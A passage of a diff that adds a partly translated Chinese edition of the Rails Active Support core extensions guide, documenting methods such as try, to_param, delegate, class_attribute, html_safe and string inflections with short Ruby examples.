+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     # => ['string']
+duplicate # => ['foo']
+
+
+
+

如果一个对象是不可复制的,deep_dup会返回其自身:

+
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id   # => true
+
+
+
+

定义于 active_support/core_ext/object/deep_dup.rb.

2.5 try +

如果你想在一个对象不为nil时,对其调用一个方法,最简单的办法就是使用条件从句,但这么做也会使代码变得乱七八糟。另一个选择就是使用trytry就好比Object#send,只不过如果接收者为nil,那么返回值也会是nil

看下这个例子:

+
+# 不使用 try
+unless @number.nil?
+  @number.next
+end
+
+# 使用 try
+@number.try(:next)
+
+
+
+

接下来的这个例子,代码出自ActiveRecord::ConnectionAdapters::AbstractAdapter,这里的@logger有可能为nil。能够看到,代码里使用了try来避免不必要的检查。

+
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+
+
+
+

调用try时也可以不传参数而是用代码快,其中的代码只有在对象不为nil时才会执行:

+
+@person.try { |p| "#{p.first_name} #{p.last_name}" }
+
+
+
+

定义于 active_support/core_ext/object/try.rb.

2.6 class_eval(*args, &block) +

You can evaluate code in the context of any object's singleton class using class_eval: +使用class_eval,可以使代码在对象的单件类的上下文里执行:

+
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+
+
+
+

定义于 active_support/core_ext/kernel/singleton_class.rb.

2.7 acts_like?(duck) +

acts_like?方法可以用来判断某个类与另一个类是否有相同的行为,它基于一个简单的惯例:这个类是否提供了与String相同的接口:

+
+def acts_like_string?
+end
+
+
+
+

上述代码只是一个标识,它的方法体或返回值都是不相关的。之后,就可以像下述代码那样判断其代码是否为“鸭子类型安全”的代码了:

+
+some_klass.acts_like?(:string)
+
+
+
+

Rails 里的许多类,例如DateTime,都遵循上述约定。

定义于 active_support/core_ext/object/acts_like.rb.

2.8 to_param +

所有 Rails 对象都可以响应to_param方法,它会把对象的值转换为查询字符串,或者 URL 片段,并返回该值。

默认情况下,to_param仅仅调用了to_s

+
+7.to_param # => "7"
+
+
+
+

不要to_param方法的返回值进行转义:

+
+"Tom & Jerry".to_param # => "Tom & Jerry"
+
+
+
+

Rails 里的许多类重写了这个方法。

例如niltruefalse会返回其自身。Array#to_param会对数组元素调用to_param并把结果用"/"连接成字符串:

+
+[0, true, String].to_param # => "0/true/String"
+
+
+
+

需要注意的是, Rails 的路由系统会在模型上调用to_param并把结果作为:id占位符。ActiveRecord::Base#to_param会返回模型的id,但是你也可以在自己模型里重新定义它。例如:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

会得到:

+
+user_path(@user) # => "/users/357-john-smith"
+
+
+
+

控制器里需要注意被重定义过的to_param,因为一个类似上述的请求里,会把"357-john-smith"当作params[:id]的值。

定义于 active_support/core_ext/object/to_param.rb.

2.9 to_query +

除了散列表之外,给定一个未转义的key,这个方法就会基于这个键和to_param的返回值,构造出一个新的查询字符串。例如:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

会得到:

+
+current_user.to_query('user') # => "user=357-john-smith"
+
+
+
+

无论对于键还是值,本方法都会根据需要进行转义:

+
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+
+
+
+

所以它的输出已经完全适合于用作查询字符串。

对于数组,会对其中每个元素以_key_[]为键执行to_query方法,并把结果用"&"连接为字符串:

+
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+
+
+
+

哈系表也可以响应to_query方法但是用法有所不同。如果调用时没传参数,会先生成一系列排过序的键值对并在值上调用to_query(键)。然后把所得结果用"&"连接为字符串:

+
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+
+
+
+

Hash#to_query方法也可接受一个可选的命名空间作为键:

+
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+
+
+
+

定义于 active_support/core_ext/object/to_query.rb.

2.10 with_options +

with_options方法可以为一组方法调用提取出共有的选项。

假定有一个默认的散列表选项,with_options方法会引入一个代理对象到代码块。在代码块内部,代理对象上的方法调用,会连同被混入的选项一起,被转发至原方法接收者。例如,若要去除下述代码的重复内容:

+
+class Account < ActiveRecord::Base
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+
+
+
+

可按此法书写:

+
+class Account < ActiveRecord::Base
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+
+
+
+

TODO: clear this after totally understanding what these statnances means...

That idiom may convey grouping to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this: +上述写法也可用于对读取器进行分组。例如,假设你要发一份新闻通讯,通讯所用语言取决于用户。便可以利用如下例所示代码,对用户按照地区依赖进行分组:

+
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+
+
+
+

由于with_options会把方法调用转发给其自身的接收者,所以可以进行嵌套。每层嵌套都会把继承来的默认值混入到自身的默认值里。

定义于 active_support/core_ext/object/with_options.rb.

2.11 JSON 支持

相较于 json gem 为 Ruby 对象提供的to_json方法,Active Support 给出了一个更好的实现。因为有许多类,诸如HashOrderedHashProcess::Status,都需要做特殊处理才能到适合的 JSON 替换。

定义于 active_support/core_ext/object/json.rb.

2.12 实例变量

Active Support 提供了若干方法以简化对实例变量的访问。

2.12.1 instance_values +

instance_values方法返回一个散列表,其中会把实例变量名去掉"@"作为键,把相应的实例变量值作为值。键全部是字符串:

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+
+
+
+

定义于 active_support/core_ext/object/instance_variables.rb.

2.12.2 instance_variable_names +

instance_variable_names方法返回一个数组。数组中所有的实例变量名都带有"@"标志。

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
+
+
+
+

定义于 active_support/core_ext/object/instance_variables.rb.

2.13 Silencing Warnings, Streams, 和 Exceptions

silence_warningsenable_warnings方法都可以在其代码块里改变$VERBOSE的值,并在之后把值重置:

+
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+
+
+
+

You can silence any stream while a block runs with silence_stream: +在通过silence_stream执行的代码块里,可以使任意流安静的运行:

+
+silence_stream(STDOUT) do
+  # 这里的代码不会输出到 STDOUT
+end
+
+
+
+

quietly方法可以使 STDOUT 和 STDERR 保持安静,即便在子进程里也如此:

+
+quietly { system 'bundle install' }
+
+
+
+

例如,railties 测试组件会用到上述方法,来阻止普通消息与进度状态混到一起。

也可以用suppress方法来使异常保持安静。方法接收任意数量的异常类。如果代码块的代码执行时报出异常,并且该异常kind_of?满足任一参数,suppress便会将异其捕获并安静的返回。否则会重新抛出该异常:

+
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+
+
+
+

定义于 active_support/core_ext/kernel/reporting.rb.

2.14 in? +

判断式in?用于测试一个对象是否被包含在另一个对象里。当传入的参数无法响应include?时,会抛出ArgumentError异常。

使用in?的例子:

+
+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+
+
+
+

定义于 active_support/core_ext/object/inclusion.rb.

3 对Module的扩展

3.1 alias_method_chain +

使用纯 Ruby 可以用方法环绕其他的方法,这种做法被称为环绕别名。

例如,我们假设在功能测试里你希望参数都是字符串,就如同真实的请求中那样,但是同时你也希望对于数字和其他类型的值能够很方便的赋值。为了做到这点,你可以把test/test_helper.rb里的ActionController::TestCase#process方法像下面这样环绕:

+
+ActionController::TestCase.class_eval do
+  # save a reference to the original process method
+  alias_method :original_process, :process
+
+  # now redefine process and delegate to original_process
+  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    original_process(action, params, session, flash, http_method)
+  end
+end
+
+
+
+

getpost等最终会通过此方法执行。

这么做有一定风险,:original_process有可能已经被占用了。为了避免方法名发生碰撞,通常会添加标签来表明这是个关于什么的别名:

+
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method :process_without_stringified_params, :process
+  alias_method :process, :process_with_stringified_params
+end
+
+
+
+

alias_method_chain为上述技巧提供了一个便捷之法:

+
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method_chain :process, :stringified_params
+end
+
+
+
+

Rails 源代码中随处可见alias_method_chain。例如ActiveRecord::Base#save里,就通过这种方式对方法进行环绕,从 validations 下一个专门的模块里为其增加了验证。

定义于 active_support/core_ext/module/aliasing.rb.

3.2 属性

3.2.1 alias_attribute +

模型属性包含读取器、写入器和判断式。只需添加一行代码,就可以为模型属性添加一个包含以上三个方法的别名。与其他别名方法一样,新名称充当第一个参数,原有名称是第二个参数(为了方便记忆,可以类比下赋值时的书写顺序)。

+
+class User < ActiveRecord::Base
+  # You can refer to the email column as "login".
+  # This can be meaningful for authentication code.
+  alias_attribute :login, :email
+end
+
+
+
+

定义于 active_support/core_ext/module/aliasing.rb.

3.2.2 内部属性

当你在一个被继承的类里定义一条属性时,属性名称有可能会发生碰撞。这一点对许多库而言尤为重要。

Active Support 定义了attr_internal_readerattr_internal_writerattr_internal_accessor这些类宏。它们的作用与 Ruby 内建的attr_*相当,只不过实例变量名多了下划线以避免碰撞。

类宏attr_internalattr_internal_accessor是同义:

+
+# library
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+
+
+
+

上述例子里的情况可能是,:log_level并不属于库的公共接口,而是只用于开发。而在客户代码里,由于不知道可能出现的冲突,便在子类里又定义了:log_level。多亏了attr_internal才没有出项碰撞。

默认情况下,内部实例变量名以下划线开头,如上例中即为@_log_level。不过这点可以通过Module.attr_internal_naming_format进行配置,你可以传入任何sprintf这一类的格式化字符串,并在开头加上@,同时还要加上%s表示变量名称的位置。默认值为"@_%s"

Rails 在若干地方使用了内部属性,比如在视图层:

+
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+
+
+
+

定义于 active_support/core_ext/module/attr_internal.rb.

3.2.3 Module Attributes

类宏mattr_readermattr_writermattr_accessor与为类定义的cattr_*是相同的。实际上,cattr_*系列的类宏只不过是mattr_*这些类宏的别名。详见Class Attributes

例如,依赖性机制就用到了它们:

+
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :logger
+    mattr_accessor :log_activity
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+
+
+
+

定义于 active_support/core_ext/module/attribute_accessors.rb.

3.3 Parents

3.3.1 parent +

对一个嵌套的模块调用parent方法,会返回其相应的常量:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+
+
+
+

如果这个模块是匿名的或者属于顶级作用域, parent会返回Object

若有上述情况,则parent_name会返回nil

定义于 active_support/core_ext/module/introspection.rb.

3.3.2 parent_name +

对一个嵌套的模块调用parent_name方法,会返回其相应常量的完全限定名:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+
+
+
+

定义在顶级作用域里的模块或匿名的模块,parent_name会返回nil

若有上述情况,则parent返回Object

定义于 active_support/core_ext/module/introspection.rb.

3.3.3 parents +

parents方法会对接收者调用parent,并向上追溯直至Object。之后所得结果链按由低到高顺序组成一个数组被返回。

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+
+
+
+

定义于 active_support/core_ext/module/introspection.rb.

3.4 常量

defined in the receiver module: +local_constants方法返回在接收者模块中定义的常量。

+
+module X
+  X1 = 1
+  X2 = 2
+  module Y
+    Y1 = :y1
+    X1 = :overrides_X1_above
+  end
+end
+
+X.local_constants    # => [:X1, :X2, :Y]
+X::Y.local_constants # => [:Y1, :X1]
+
+
+
+

常量名会作为符号被返回。

定义于 active_support/core_ext/module/introspection.rb.

3.4.1 限定常量名

标准方法const_defined?const_getconst_set接受裸常量名。 +Active Support 扩展了这些API使其可以接受相对限定常量名。

新的方法名是qualified_const_defined?qualified_const_getqualified_const_set。 +它们的参数被假定为相对于其接收者的限定常量名:

+
+Object.qualified_const_defined?("Math::PI")       # => true
+Object.qualified_const_get("Math::PI")            # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+
+
+
+

参数可以使用裸常量名:

+
+Math.qualified_const_get("E") # => 2.718281828459045
+
+
+
+

These methods are analogous to their built-in counterparts. In particular, +qualified_constant_defined? accepts an optional second argument to be +able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. +这些方法与其内建的对应方法很类似。尤为值得一提的是,qualified_constant_defined?接收一个可选的第二参数,以此来标明你是否要在祖先链中进行查找。

例如,假定:

+
+module M
+  X = 1
+end
+
+module N
+  class C
+    include M
+  end
+end
+
+
+
+

qualified_const_defined?会这样执行:

+
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true)  # => true
+N.qualified_const_defined?("C::X")        # => true
+
+
+
+

As the last example implies, the second argument defaults to true, +as in const_defined?.

For coherence with the built-in methods only relative paths are accepted. +Absolute qualified constant names like ::Math::PI raise NameError.

定义于 active_support/core_ext/module/qualified_const.rb.

3.5 Reachable

A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.

That is what ordinarily happens, if a module is called "M", the M constant exists and holds it:

+
+module M
+end
+
+M.reachable? # => true
+
+
+
+

But since constants and modules are indeed kind of decoupled, module objects can become unreachable:

+
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+
+
+
+

定义于 active_support/core_ext/module/reachable.rb.

3.6 Anonymous

A module may or may not have a name:

+
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+
+
+
+

You can check whether a module has a name with the predicate anonymous?:

+
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+
+
+
+

Note that being unreachable does not imply being anonymous:

+
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+
+
+
+

though an anonymous module is unreachable by definition.

定义于 active_support/core_ext/module/anonymous.rb.

3.7 Method Delegation

The macro delegate offers an easy way to forward methods.

Let's imagine that users in some application have login information in the User model but name and other data in a separate Profile model:

+
+class User < ActiveRecord::Base
+  has_one :profile
+end
+
+
+
+

With that configuration you get a user's name via their profile, user.profile.name, but it could be handy to still be able to access such attribute directly:

+
+class User < ActiveRecord::Base
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+
+
+
+

That is what delegate does for you:

+
+class User < ActiveRecord::Base
+  has_one :profile
+
+  delegate :name, to: :profile
+end
+
+
+
+

It is shorter, and the intention more obvious.

The method must be public in the target.

The delegate macro accepts several methods:

+
+delegate :name, :age, :address, :twitter, to: :profile
+
+
+
+

When interpolated into a string, the :to option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:

+
+# delegates to the Rails constant
+delegate :logger, to: :Rails
+
+# delegates to the receiver's class
+delegate :table_name, to: :class
+
+
+
+

If the :prefix option is true this is less generic, see below.

By default, if the delegation raises NoMethodError and the target is nil the exception is propagated. You can ask that nil is returned instead with the :allow_nil option:

+
+delegate :name, to: :profile, allow_nil: true
+
+
+
+

With :allow_nil the call user.name returns nil if the user has no profile.

The option :prefix adds a prefix to the name of the generated method. This may be handy for example to get a better name:

+
+delegate :street, to: :address, prefix: true
+
+
+
+

The previous example generates address_street rather than street.

Since in this case the name of the generated method is composed of the target object and target method names, the :to option must be a method name.

A custom prefix may also be configured:

+
+delegate :size, to: :attachment, prefix: :avatar
+
+
+
+

In the previous example the macro generates avatar_size rather than size.

定义于 active_support/core_ext/module/delegation.rb

3.8 Redefining Methods

There are cases where you need to define a method with define_method, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.

The method redefine_method prevents such a potential warning, removing the existing method before if needed.

定义于 active_support/core_ext/module/remove_method.rb

4 Extensions to Class +

4.1 Class Attributes

4.1.1 class_attribute +

The method class_attribute declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

+
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+
+
+
+

For example ActionMailer::Base defines:

+
+class_attribute :default_params
+self.default_params = {
+  mime_version: "1.0",
+  charset: "UTF-8",
+  content_type: "text/plain",
+  parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+
+
+
+

They can be also accessed and overridden at the instance level.

+
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+
+
+
+

The generation of the writer instance method can be prevented by setting the option :instance_writer to false.

+
+module ActiveRecord
+  class Base
+    class_attribute :table_name_prefix, instance_writer: false
+    self.table_name_prefix = ""
+  end
+end
+
+
+
+

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option :instance_reader to false.

+
+class A
+  class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1 # NoMethodError
+
+
+
+

For convenience class_attribute also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called x?.

When :instance_reader is false, the instance predicate returns a NoMethodError just like the reader method.

If you do not want the instance predicate, pass instance_predicate: false and it will not be defined.

定义于 active_support/core_ext/class/attribute.rb

4.1.2 cattr_reader, cattr_writer, and cattr_accessor +

The macros cattr_reader, cattr_writer, and cattr_accessor are analogous to their attr_* counterparts but for classes. They initialize a class variable to nil unless it already exists, and generate the corresponding class methods to access it:

+
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans.
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+
+
+
+

Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with class_attribute (see above). For example given

+
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+
+
+
+

we can access field_error_proc in views.

Also, you can pass a block to cattr_* to set up the attribute with a default value:

+
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans with default value of true.
+  cattr_accessor(:emulate_booleans) { true }
+end
+
+
+
+

The generation of the reader instance method can be prevented by setting :instance_reader to false and the generation of the writer instance method can be prevented by setting :instance_writer to false. Generation of both methods can be prevented by setting :instance_accessor to false. In all cases, the value must be exactly false and not any false value.

+
+module A
+  class B
+    # No first_name instance reader is generated.
+    cattr_accessor :first_name, instance_reader: false
+    # No last_name= instance writer is generated.
+    cattr_accessor :last_name, instance_writer: false
+    # No surname instance reader or surname= writer is generated.
+    cattr_accessor :surname, instance_accessor: false
+  end
+end
+
+
+
+

A model may find it useful to set :instance_accessor to false as a way to prevent mass-assignment from setting the attribute.

定义于 active_support/core_ext/module/attribute_accessors.rb.

4.2 Subclasses & Descendants

4.2.1 subclasses +

The subclasses method returns the subclasses of the receiver:

+
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+
+
+
+

The order in which these classes are returned is unspecified.

定义于 active_support/core_ext/class/subclasses.rb.

4.2.2 descendants +

The descendants method returns all classes that are < than its receiver:

+
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+
+
+
+

The order in which these classes are returned is unspecified.

定义于 active_support/core_ext/class/subclasses.rb.

5 Extensions to String +

5.1 Output Safety

5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example, you can't just interpolate @review.title verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the Security guide for further information about the risks.

5.1.2 Safe Strings

Active Support has the concept of (html) safe strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be unsafe by default:

+
+"".html_safe? # => false
+
+
+
+

You can obtain a safe string from a given one with the html_safe method:

+
+s = "".html_safe
+s.html_safe? # => true
+
+
+
+

It is important to understand that html_safe performs no escaping whatsoever, it is just an assertion:

+
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+
+
+
+

It is your responsibility to ensure calling html_safe on a particular string is fine.

If you append onto a safe string, either in-place with concat/<<, or with +, the result is a safe string. Unsafe arguments are escaped:

+
+"".html_safe + "<" # => "&lt;"
+
+
+
+

Safe arguments are directly appended:

+
+"".html_safe + "<".html_safe # => "<"
+
+
+
+

These methods should not be used in ordinary views. Unsafe values are automatically escaped:

+
+<%= @review.title %> <%# fine, escaped if needed %>
+
+
+
+

To insert something verbatim use the raw helper rather than calling html_safe:

+
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+
+
+
+

or, equivalently, use <%==:

+
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+
+
+
+

The raw helper calls html_safe for you:

+
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+
+
+
+

定义于 active_support/core_ext/string/output_safety.rb.

5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are downcase, gsub, strip, chomp, underscore, etc.

In the case of in-place transformations like gsub! the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

5.1.4 Conversion and Coercion

Calling to_s on a safe string returns a safe string, but coercion with to_str returns an unsafe string.

5.1.5 Copying

Calling dup or clone on safe strings yields safe strings.

5.2 remove +

The method remove will remove all occurrences of the pattern:

+
+"Hello World".remove(/Hello /) => "World"
+
+
+
+

There's also the destructive version String#remove!.

定义于 active_support/core_ext/string/filters.rb.

5.3 squish +

The method squish strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

+
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+
+
+
+

There's also the destructive version String#squish!.

Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).

定义于 active_support/core_ext/string/filters.rb.

5.4 truncate +

The method truncate returns a copy of its receiver truncated after a given length:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+
+
+
+

Ellipsis can be customized with the :omission option:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
+# => "Oh dear! Oh &hellip;"
+
+
+
+

Note in particular that truncation takes into account the length of the omission string.

Pass a :separator to truncate the string at a natural break:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+
+
+
+

The option :separator can be a regexp:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+
+
+
+

In above examples "dear" gets cut first, but then :separator prevents it.

定义于 active_support/core_ext/string/filters.rb.

5.5 inquiry +

The inquiry method converts a string into a StringInquirer object making equality checks prettier.

+
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+
+
+
+

5.6 starts_with? and ends_with? +

Active Support defines 3rd person aliases of String#start_with? and String#end_with?:

+
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+
+
+
+

定义于 active_support/core_ext/string/starts_ends_with.rb.

5.7 strip_heredoc +

The method strip_heredoc strips indentation in heredocs.

For example in

+
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+
+
+
+

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes +that amount of leading whitespace.

定义于 active_support/core_ext/string/strip.rb.

5.8 indent +

Indents the lines in the receiver:

+
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+
+
+
+

The second argument, indent_string, specifies which indent string to use. The default is nil, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.

+
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+
+
+
+

While indent_string is typically one space or tab, it may be any string.

The third argument, indent_empty_lines, is a flag that says whether empty lines should be indented. Default is false.

+
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+
+
+
+

The indent! method performs indentation in-place.

定义于 active_support/core_ext/string/indent.rb.

5.9 Access

5.9.1 at(position) +

Returns the character of the string at position position:

+
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+
+
+
+

定义于 active_support/core_ext/string/access.rb.

5.9.2 from(position) +

Returns the substring of the string starting at position position:

+
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+
+
+
+

定义于 active_support/core_ext/string/access.rb.

5.9.3 to(position) +

Returns the substring of the string up to position position:

+
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+
+
+
+

定义于 active_support/core_ext/string/access.rb.

5.9.4 first(limit = 1) +

The call str.first(n) is equivalent to str.to(n-1) if n > 0, and returns an empty string for n == 0.

定义于 active_support/core_ext/string/access.rb.

5.9.5 last(limit = 1) +

The call str.last(n) is equivalent to str.from(-n) if n > 0, and returns an empty string for n == 0.

定义于 active_support/core_ext/string/access.rb.

5.10 Inflections

5.10.1 pluralize +

The method pluralize returns the plural of its receiver:

+
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+
+
+
+

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in config/initializers/inflections.rb. That file is generated by the rails command and has instructions in comments.

pluralize can also take an optional count parameter. If count == 1 the singular form will be returned. For any other value of count the plural form will be returned:

+
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+
+
+
+

Active Record uses this method to compute the default table name that corresponds to a model:

+
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  pluralize_table_names ? table_name.pluralize : table_name
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.2 singularize +

The inverse of pluralize:

+
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+
+
+
+

Associations compute the name of the corresponding default associated class using this method:

+
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.3 camelize +

The method camelize returns its receiver in camel case:

+
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+
+
+
+

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:

+
+"backoffice/session".camelize # => "Backoffice::Session"
+
+
+
+

For example, Action Pack uses this method to load the class that provides a certain session store:

+
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  @@session_store = store.is_a?(Symbol) ?
+    ActionDispatch::Session.const_get(store.to_s.camelize) :
+    store
+end
+
+
+
+

camelize accepts an optional argument, it can be :upper (default), or :lower. With the latter the first letter becomes lowercase:

+
